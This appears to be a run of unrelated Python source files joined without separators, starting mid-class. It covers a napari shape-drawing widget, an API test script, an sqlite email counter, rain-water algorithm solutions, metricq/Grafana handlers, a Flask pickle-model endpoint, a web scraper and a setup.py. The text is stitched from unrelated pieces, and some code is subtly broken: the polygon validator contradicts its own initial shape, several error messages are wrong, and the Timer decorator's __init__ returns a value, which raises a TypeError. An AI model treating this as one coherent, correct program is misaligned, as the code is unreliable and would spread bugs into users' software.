        super().__init__(data_table, text="Draw", **kwargs)

        self.value = value
        self._layer: Shapes | None = None
        self._mode = Mode.idle

    def _init_data(self) -> np.ndarray:
        raise NotImplementedError()

    def _validate_data(self, value: Any) -> np.ndarray:
        raise NotImplementedError()

    @property
    def value(self) -> np.ndarray:
        """Line data array in [[Ystart, Xstart], [Yend, Xend]] format."""
        return self._table_data

    @value.setter
    def value(self, value: np.ndarray):
        if value is UNSET:
            return
        value = self._validate_data(value)
        self._table_data = value
        self._table.data = value

    def _activate(self):
        self._btn.text = "Drawing"
        viewer = napari.current_viewer()
        self._layer = viewer.add_shapes(
            ndim=2,
            face_color=[0, 0, 0, 0],
            edge_color=[0, 0.6, 1, 1],  # same as napari interaction box
            opacity=1.0,
            edge_width=1.0,
            name="Temporal Layer",
        )
        self._force_layer_mode()
        self._layer.events.data.connect(self._on_data_added)
        self._layer.events.mode.connect(self._force_layer_mode)
        self._current_viewer = viewer
        self._layer.mouse_drag_callbacks.append(self._on_drag)

    def _deactivate(self):
        # update values
        if self._layer.nshapes > 0:
            self.value = self._layer.data[0]
        self._remove_temp_layer()

        self._btn.text = "Draw"

    def _remove_temp_layer(self):
        viewer = self._current_viewer
        viewer.layers.remove(self._layer)
        self._layer.mouse_drag_callbacks.remove(self._on_drag)
        self._layer = None

    def _on_data_added(self):
        if self._layer.nshapes > 1:
            self.mode = Mode.idle

    def _force_layer_mode(self):
        if self._layer.nshapes == 1:
            if self._layer.mode != "SELECT":
                self._layer.mode = "SELECT"
            if self._layer.nshapes > 0:
                self._layer.selected_data = {0}
        else:
            if self._layer.mode != self.SHAPE_MODE:
                self._layer.mode = self.SHAPE_MODE

    def _on_drag(self, layer: Shapes, event: MouseEvent):
        try:
            yield
            if layer.nshapes > 0 and layer.selected_data == set():
                # if shape selection is lost, switch to idle mode
                self.mode = Mode.idle
                return
            while event.type == "mouse_move":
                if layer.nshapes > 0:
                    self.value = layer.data[0]
                yield
            self._force_layer_mode()
            layer.selected_data = {0}
        except Exception:
            self.mode = Mode.idle

    def _on_button_clicked(self):
        self._switch_mode()

class LineDataEdit(_ShapeDataEdit):
    SHAPE_MODE = "ADD_LINE"

    def _init_data(self) -> np.ndarray:
        return np.zeros((2, 2), dtype=np.float64)

    def _validate_data(self, value: ArrayLike) -> np.ndarray:
        value = np.asarray(value, dtype=np.float64)
        if value.shape != (2, 2):
            raise ValueError("Line data must be (2, 2) array")
        return value

class PathDataEdit(_ShapeDataEdit):
    SHAPE_MODE = "ADD_PATH"

    def _init_data(self) -> np.ndarray:
        return np.zeros((1, 2), dtype=np.float64)

    def _validate_data(self, value: ArrayLike) -> np.ndarray:
        value = np.asarray(value, dtype=np.float64)
        if value.ndim != 2 or value.shape[1] != 2:
            raise ValueError("Line data must be (N, 2) array")
        return value

class RectangleDataEdit(_ShapeDataEdit):
    SHAPE_MODE = "ADD_RECTANGLE"

    def _init_data(self) -> np.ndarray:
        return np.zeros((4, 2), dtype=np.float64)

    def _validate_data(self, value: ArrayLike) -> np.ndarray:
        value = np.asarray(value, dtype=np.float64)
        if value.shape != (4, 2):
            raise ValueError("Line data must be (N, 2) array")
        return value

class PolygonDataEdit(_ShapeDataEdit):
    SHAPE_MODE = "ADD_POLYGON"

    def _init_data(self) -> np.ndarray:
        return np.zeros((1, 2), dtype=np.float64)

    def _validate_data(self, value: ArrayLike) -> np.ndarray:
        value = np.asarray(value, dtype=np.float64)
        if value.shape != (4, 2):
            raise ValueError("Line data must be (N, 2) array")
        return value

class EllipseDataEdit(_ShapeDataEdit):
    SHAPE_MODE = "ADD_ELLIPSE"

    def _init_data(self) -> np.ndarray:
        return np.zeros((4, 2), dtype=np.float64)

    def _validate_data(self, value: ArrayLike) -> np.ndarray:
        value = np.asarray(value, dtype=np.float64)
        if value.shape != (4, 2):
            raise ValueError("Line data must be (N, 2) array")
        return value


import requests
from test_APP.Common.Login_test import Login

# 职位卡片
def test_jobCard():
    url = "http://192.168.101.102/api/search/app/job/card"
    header = {
        "Content-Type": "application/x-www-form-urlencoded;charset=utf-8",
         "token": Login().Login_sms_test_li()
    }
    payload = {
        "accountId": 3732,
        "id": 1208
    }
    res = requests.get(url, headers=header
                       , params=payload
                       )
    print(res.json())
    code = res.json()['code']
    try:
        assert code == 0
        print('成功')
    except:
        assert code != 0
        print('失败')

# 根据职位id查询对应职位卡片

 # /api/search/app/job/card/{id}


import sqlite3

connection = sqlite3.connect('database_01.db')
cursor = connection.cursor()

cursor.execute('DROP TABLE IF EXISTS Proyect_1')
cursor.execute('CREATE TABLE Proyect_1 (Email TEXT, Count INTEGER)')

data = input('Enter a file to open it: ')
if len(data) < 1: data = 'mbox-short.txt'
data = open(data)

for line in data:
    line = line.strip()
    if line.startswith('From: '):
        line = line.split()
        mails = line[1]
        #print(mails)

        cursor.execute('SELECT Email FROM Proyect_1 WHERE Email = ?', (mails,))
        row = cursor.fetchone()

        if row is None:
            cursor.execute('INSERT INTO Proyect_1 (Email, Count) VALUES (?,1)',(mails,))
        else:
            cursor.execute('UPDATE Proyect_1 SET Count = Count + 1 WHERE Email = ?',(mails,))

        connection.commit()

sqlstr = 'SELECT Email, Count FROM Proyect_1 ORDER BY Count DESC LIMIT 10'

for row in cursor.execute(sqlstr):
    print(str(row[0]), str(row[1]))

cursor.close()


#!/usr/bin/env python
# -** coding: utf-8 -*-
# @Time: 2020/4/20 6:36
# @Author: Tian Chen
# @File: 42_Trapping_Rain_Water.py
"""
42. Trapping rain water
Given n non-negative integers representing an elevation map where the width of each bar is 1, compute how much water
 it is able to trap after raining
 Example:
     Input: [0,1,0,2,1,0,1,3,2,1,2,1]
     Output: 6
"""
from typing import List

class Solution1:
    """双指针法
    """
    def trap(self, height: List[int]) -> int:
        if not height: return 0
        n =len(height)
        left, right = 0, n-1
        max_left, max_right = 0, 0
        vol = 0
        while left < right:
            max_left = max(max_left,  height[left])
            max_right = max(max_right, height[right])
            if max_left < max_right:
                vol += max_left - height[left]
                left += 1
            else:
                vol += max_right - height[right]
                right -= 1
        return vol

class Solution2:
    """动态规划
    """
    def trap(self, height: List[int]) -> int:
        if not height: return 0
        n = len(height)
        max_left = [0] * n
        max_rihgt = [0] * n
        vol = 0
        max_left[0] = height[0]
        max_rihgt[n-1] = height[n-1]
        for i in range(1, n):
            max_left[i] = max(max_left[i-1], height[i])
        for j in range(n-2, -1, -1):
            max_rihgt[j] = max(max_rihgt[j+1], height[j])
        for idx in range(n):
            vol += min(max_left[idx], max_rihgt[idx]) - height[idx]
        return vol

class Solution3():
    """栈"""
    def trap(self, height: List[int]) -> int:
        n = len(height)
        if n < 3: return 0
        stack = []
        vol = 0
        for idx in range(n):
            while len(stack) > 0 and height[idx] > height[stack[-1]]:
                top = stack.pop()
                if not stack: continue
                h = min(height[idx], height[stack[-1]]) - height[top]
                dis = idx - stack[-1] - 1
                vol += h * dis
            stack.append(idx)
        return vol

if __name__ == '__main__':
    arr = [0,1,0,2,1,0,1,3,2,1,2,1]
    A = Solution3()
    print(A.trap(arr))


import collections.abc
import dataclasses
import json
from typing import Type, TypeVar

import pydantic

from umwelt.errors import ConversionError

T = TypeVar("T")

TUPLE_LIKE_ABCS = (
    collections.abc.Sized,
    collections.abc.Iterable,
    collections.abc.Container,
)

def jsonlike_decoder(t: Type[T], s: str) -> T:
    """
    Decodes a superset of JSON.

    Supports:
        - all JSON syntax,
        - boolean literals: all case variants of "true", "false", "t", and "f".

    JSON types are mapped to Python types as follows:
        - boolean: bool
        - null: None
        - number: int, float
        - string: str, bytes, Decimal, complex, Fraction
        - array: list, tuple, set
        - object: dict
    """
    t = getattr(t, "__origin__", t)
    try:
        if issubclass(t, str) or t in (pydantic.SecretStr, pydantic.SecretBytes):
            return s
        if t is bool:
            return _as_bool(s)
        if t is bytes:
            return str.encode(s)
        if (
            t in (list, dict, set, frozenset, tuple)
            or issubclass(t, TUPLE_LIKE_ABCS)
            or dataclasses.is_dataclass(t)
        ):
            return json.loads(s)
        return t(s)
    except Exception as err:
        raise ConversionError(value=s, target=t) from err

def _as_bool(s: str) -> bool:
    normalized = s.lower()
    if normalized in ("true", "t", "1"):
        return True
    if normalized in ("false", "f", "0"):
        return False
    raise ValueError(f"invalid literal for bool: {s!r}")


from PySide2 import QtCore, QtGui, QtWidgets, QtSvg

import resources_rc

class BusyIndicator(QtWidgets.QWidget):
    def __init__(self, parent=None):
        super(BusyIndicator, self).__init__(parent)

        self.resize(100, 100)

        self.setWindowFlags(QtCore.Qt.WindowStaysOnTopHint)

        layout = QtWidgets.QHBoxLayout()
        svg = QtSvg.QSvgWidget()
        svg.load(u":/svg/tail-spin.svg")
        layout.addWidget(svg)
        self.setLayout(layout)

        self.hide()

    def show(self, center_from=None):
        if center_from:
            self.move(center_from.rect().center() - self.rect().center())
        else:
            self.move(self.parent().rect().center() - self.rect().center())
        super(BusyIndicator, self).show()

    def hide(self):
        super(BusyIndicator, self).hide()

    def paintEvent(self, event):
        painter = QtGui.QPainter()
        painter.begin(self)
        painter.setRenderHint(QtGui.QPainter.Antialiasing)
        painter.fillRect(
            event.rect(), QtGui.QBrush(QtGui.QColor(55, 55, 55, 255))
        )
        painter.setPen(QtGui.QPen(QtCore.Qt.NoPen))
        painter.end()


import asyncio
import functools
import logging
import operator
import time

from metricq import get_logger
from metricq.history_client import HistoryRequestType, HistoryResponseType
from metricq.types import Timestamp

from .functions import parse_functions
from .target import Target
from .utils import unpack_metric

logger = get_logger(__name__)
timer = time.monotonic

async def get_history_data(app, request):
    targets = []
    for target_dict in request["targets"]:
        metrics = await unpack_metric(app, target_dict["metric"])

        for metric in metrics:
            targets.append(
                Target(
                    metric=metric,
                    name=target_dict.get("name", None),
                    functions=list(parse_functions(target_dict)),
                    scaling_factor=float(
                        target_dict.get(
                            "scalingFactor", target_dict.get("scaling_factor", "1")
                        )
                    ),
                )
            )

    start_time = Timestamp.from_iso8601(request["range"]["from"])
    end_time = Timestamp.from_iso8601(request["range"]["to"])
    # Grafana gives inconsistent information here:
    #    intervalMs is very coarse grained
    #    maxDataPoints is not really the number of pixels, usually less
    # interval = Timedelta.from_ms(request["intervalMs"])
    interval = ((end_time - start_time) / request["maxDataPoints"]) * 2
    results = await asyncio.gather(
        *[
            target.get_response(app, start_time, end_time, interval)
            for target in targets
        ]
    )
    rv = functools.reduce(operator.iconcat, results, [])

    return rv

async def get_analyze_data(app, request):
    targets = []
    for target_dict in request["targets"]:
        targets.extend(await unpack_metric(app, target_dict["metric"]))

    start_time = Timestamp.from_iso8601(request["range"]["from"])
    end_time = Timestamp.from_iso8601(request["range"]["to"])
    results = await asyncio.gather(
        *[get_analyze_response(app, metric, start_time, end_time) for metric in targets]
    )

    return results

async def get_analyze_response(app, metric, start_time, end_time):
    perf_begin_ns = time.perf_counter_ns()
    aggregate = await app["history_client"].history_aggregate(
        metric,
        start_time,
        end_time,
        timeout=30,
    )
    perf_end_ns = time.perf_counter_ns()

    if aggregate is None:
        return None

    return {
        "target": metric,
        "time_measurements": {
            "http": (perf_end_ns - perf_begin_ns) / 1e9,
        },
        "minimum": aggregate.minimum,
        "maximum": aggregate.maximum,
        "sum": aggregate.sum,
        "count": aggregate.count,
        "integral_ns": aggregate.integral_ns,
        "active_time_ns": aggregate.active_time.ns,
        "mean": aggregate.mean,
        "mean_integral": aggregate.mean_integral,
        "mean_sum": aggregate.mean_sum,
    }

async def get_metric_list(app, search_query, metadata=False, limit=None):
    time_begin = timer()
    get_metrics_args = {"metadata": metadata, "historic": True}
    if (
        search_query.startswith("/")
        and search_query.endswith("/")
        and len(search_query) > 1
    ):
        get_metrics_args["selector"] = search_query[1:-1]
        if limit:
            get_metrics_args["limit"] = limit
    else:
        get_metrics_args["infix"] = search_query
        if limit:
            get_metrics_args["limit"] = limit
        elif limit is None:
            get_metrics_args["limit"] = 100

    result = await app["history_client"].get_metrics(**get_metrics_args)
    if result:
        if isinstance(result, list):
            rv = sorted(result)
        else:
            rv = result
    else:
        rv = []
    time_diff = timer() - time_begin
    logger.log(
        logging.DEBUG if time_diff < 1 else logging.INFO,
        "get_metric_list for {} returned {} metrics and took {} s",
        search_query,
        len(rv),
        time_diff,
    )
    return rv

async def get_metadata(app, metric):
    time_begin = timer()
    result = await app["history_client"].get_metrics(selector=[metric])
    logger.info(
        "get_metadata for {} returned {} metrics and took {} s",
        metric,
        len(result),
        timer() - time_begin,
    )
    if result:
        return result
    else:
        raise KeyError(f"Could not find any metadata for '{metric}'")

async def get_counter_list(app, selector):
    time_begin = timer()
    metrics = await app["history_client"].get_metrics(selector=selector, historic=True)
    result = []
    for metric, metadata in metrics.items():
        result.append([metric, metadata.get("description", "")])
    time_diff = timer() - time_begin
    logger.log(
        logging.DEBUG if time_diff < 1 else logging.INFO,
        "get_counter_list for {} returned {} metrics and took {} s",
        selector,
        len(result),
        time_diff,
    )
    return result

async def get_counter_data(app, metric, start, stop, width):
    time_begin = timer()
    target = Target(metric, order_time_value=True)
    start_time = Timestamp(start * 10**6)
    end_time = Timestamp(stop * 10**6)
    interval = (end_time - start_time) / width
    results, metadata = await asyncio.gather(
        target.get_response(app, start_time, end_time, interval),
        target.get_metadata(app),
    )
    try:
        result = results[0]
    except IndexError:
        return {
            "data": [],
            "description": "error: not found in database",
            "unit": "",
        }

    datapoints = [
        datapoint for datapoint in result["datapoints"] if start <= datapoint[0] <= stop
    ]

    rv = {
        "description": metadata.get("description", ""),
        "unit": metadata.get("unit", ""),
        "data": datapoints,
    }
    time_diff = timer() - time_begin
    logger.log(
        logging.DEBUG if time_diff < 1 else logging.INFO,
        "get_counter_data for {} returned {} values and took {} s",
        metric,
        len(rv["data"]),
        time_diff,
    )
    return rv

async def handle_timeline_request(app, request):
    metrics = []
    for metric in request["metrics"]:
        metrics.extend(await unpack_metric(app, metric))

    start_time = Timestamp.from_iso8601(request["range"]["from"])
    end_time = Timestamp.from_iso8601(request["range"]["to"])

    interval = ((end_time - start_time) / request["maxDataPoints"]) * 2

    results = await asyncio.gather(
        *[
            get_timeline(app, metric, start_time, end_time, interval)
            for metric in metrics
        ]
    )
    assert len(metrics) == len(results)
    return dict(zip(metrics, results))

async def get_timeline(app, metric, start_time, end_time, interval):
    perf_begin_ns = time.perf_counter_ns()
    response = await app["history_client"].history_data_request(
        metric,
        start_time,
        end_time,
        interval,
        request_type=HistoryRequestType.FLEX_TIMELINE,
    )
    perf_end_ns = time.perf_counter_ns()

    if response is None:
        return {"error": "Missing response. Metric probably does not exist."}

    if response.mode is HistoryResponseType.EMPTY:
        return {
            "mode": "empty",
            "time_measurements": {
                "db": response.request_duration,
                "http": (perf_end_ns - perf_begin_ns) / 1e9,
            },
        }
    elif response.mode is HistoryResponseType.AGGREGATES:
        mode = "aggregates"
    elif response.mode is HistoryResponseType.VALUES:
        mode = "values"
    else:
        raise NotImplementedError("Received unexpected HistoryResponseType")

    return {
        "mode": mode,
        "time_measurements": {
            "db": response.request_duration,
            "http": (perf_end_ns - perf_begin_ns) / 1e9,
        },
        mode: [entry.dict() for entry in getattr(response, mode)()],
    }


# Import libraries
import numpy as np
from flask import Flask, request, jsonify
import pickle
from dataRetrieval import *

app = Flask(__name__)

model = pickle.load(open('model.pkl','rb'))

@app.route('/api',methods=['POST'])
def predict():
	data = request.get_json(force=True)
	predictDate  = datetime.date(data["year"], data["month"], data["day"])
	output = predictEarnings(predictDate, model)
	return output

if __name__ == '__main__':
    app.run(port=5000, debug=True)


import logging
import time

enabled = False

class Timer:
    def __init__(self, function):
        if not enabled:
            return function

        self.function = function

    def __call__(self, *args, **kwds):
        logging.info(f"Executing function{self.function.__qualname__} with arguments: {args} and {kwds}")
        pre_call = time.time()
        response = self.function(*args, **kwds)
        post_call = time.time()
        total_time = post_call-pre_call
        ms = round(total_time*1000)
        logging.info(f"Function {self.function.__qualname__} took {ms}ms")
        return response


# -*- encoding: utf-8 -*-
import re

import dataset
from lxml import etree
import requests

URL = 'http://www.presserat.de/pressekodex/uebersicht-der-ruegen/'

LINE_RE = re.compile(u'^(.*?) ?\((.*?)\)?( ?- ?nicht[ -]öffentlich ?-)?.?,? ?Ziffern? ?(.*)$')

def get_reprimands(root):
    for yeardiv in root.xpath('//div[@class="csc-default"]'):
        year = yeardiv.xpath('.//h1')
        if not year:
            continue
        year = year[0].text
        print(year)
        for content in yeardiv.xpath('./p/*'):
            if content.tail is not None:
                text = content.tail
                try:
                    match = LINE_RE.match(text)
                    yield year, match.groups()
                except AttributeError:
                    print(text, match)
                    continue

def main():
    db = dataset.connect('sqlite:///data.sqlite')
    table = db['data']

    response = requests.get(URL)
    root = etree.HTML(response.content)
    for year, reprimand in get_reprimands(root):
        print(year, reprimand)
        table.upsert({
            'year': year,
            'name': reprimand[0],
            'issue': reprimand[1],
            'public': False if reprimand[2] is None else True,
            'rules': ','.join(reprimand[3].strip().split('+'))
        }, ['name', 'issue'])

if __name__ == '__main__':
    main()


from typing import Dict

from graphviz import Digraph

def create_dependencies_graph(dependencies: Dict):
    # draw graph
    graph = Digraph()
    graph.attr('node', shape='box')
    with graph.subgraph(name='querys') as c:
        c.attr(color='blue', label='querys')
        for name, refs in dependencies.items():
            for ref in refs:
                c.node(name, style='bold, filled' if name=='main' else 'solid, filled', fillcolor='#FFFFFF' if name=='main' else '#80CBC4')
                c.node(ref, style='solid, filled', fillcolor='#81C784' if '.' in ref else '#80CBC4')
                c.edge(name, ref)
    return graph


#!/usr/bin/env python
import os
import sys
from setuptools import setup
from pkg_resources import resource_filename

# depending on your execution context the version file
# may be located in a different place!
vsn_path = resource_filename(__name__, 'cryptorito/version')
if not os.path.exists(vsn_path):
    vsn_path = resource_filename(__name__, 'version')
    if not os.path.exists(vsn_path):
        print("%s is missing" % vsn_path)
        sys.exit(1)

setup(name='cryptorito',
      version=open(vsn_path, 'r').read(),
      description='Very lightweight wrapper around GPG2 and Keybase',
      author='Jonathan Freedman',
      author_email='jonathan.freedman@autodesk.com',
      license='MIT',
      url='https://github.com/autodesk/cryptorito',
      install_requires=['requests'],
      include_package_data=True,
      packages=['cryptorito'],
      package_data={'cryptorito':['version']}
     )